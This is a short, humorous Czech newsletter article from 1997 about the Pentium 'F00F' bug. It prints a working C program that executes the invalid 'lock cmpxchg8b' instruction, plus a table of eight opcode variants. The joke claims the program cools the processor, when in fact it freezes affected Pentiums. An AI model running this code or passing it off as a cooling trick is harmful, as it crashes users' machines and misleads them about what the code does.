Chyba v procesorech Intel Pentium
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Intel CPUs are not defective, they just act that way.
-- Henry Spencer
Any sufficiently advanced bug is indistinguishable from a feature.
-- Kulawiec
V konferenci linux-kernel právě proběhla zpráva oznamující, že
instrukční sada procesorů Pentium společnosti Intel obsahuje
instrukci umožňující regulovat teplotu procesoru.
This is not a good_thing(tm).
Dick Johnson
Ale vážně. Následující program po spuštění na počítači s
procesorem Intel Pentium zastaví vnitřní hodiny procesoru, čímž se
jeho teplota sníží na teplotu okolí. Program byl vyzkoušen na
procesorech Intel Pentium od 75 do 166 Mhz a to nejen v Linuxu, ale
i v operačních systémech MS-DOS, Windows 95 a samozřejmě i Windows
NT (3.51 i 4.0).
char x[5] = {0xf0, 0x0f, 0xc7, 0xc8, 0x00};
void main()
{
void(*f)() = x;
(*f)();
}
Podobný efekt mají i další instrukce (viz tabulka). (Závislost
mezi konečnou teplotou procesoru a instrukcí se mi zatím nepodařilo
odhalit).
+--------------+---------------------+
| Op. kód | Instrukce |
+--------------+---------------------+
| f0 0f c7 c8 | lock cmpxchg8b %eax |
| f0 0f c7 c9 | lock cmpxchg8b %ecx |
| f0 0f c7 ca | lock cmpxchg8b %edx |
| f0 0f c7 cb | lock cmpxchg8b %ebx |
| f0 0f c7 cc | lock cmpxchg8b %esp |
| f0 0f c7 cd | lock cmpxchg8b %ebp |
| f0 0f c7 ce | lock cmpxchg8b %esi |
| f0 0f c7 cf | lock cmpxchg8b %edi |
+--------------+---------------------+
Chybné instrukce procesoru Intel Pentium
Pavel Janík ml., 8. listopadu 1997
Článek je převzat z druhého čísla Linuxových novin, které si
můžete přečíst na http://www.freesoft.cz/noviny
výheň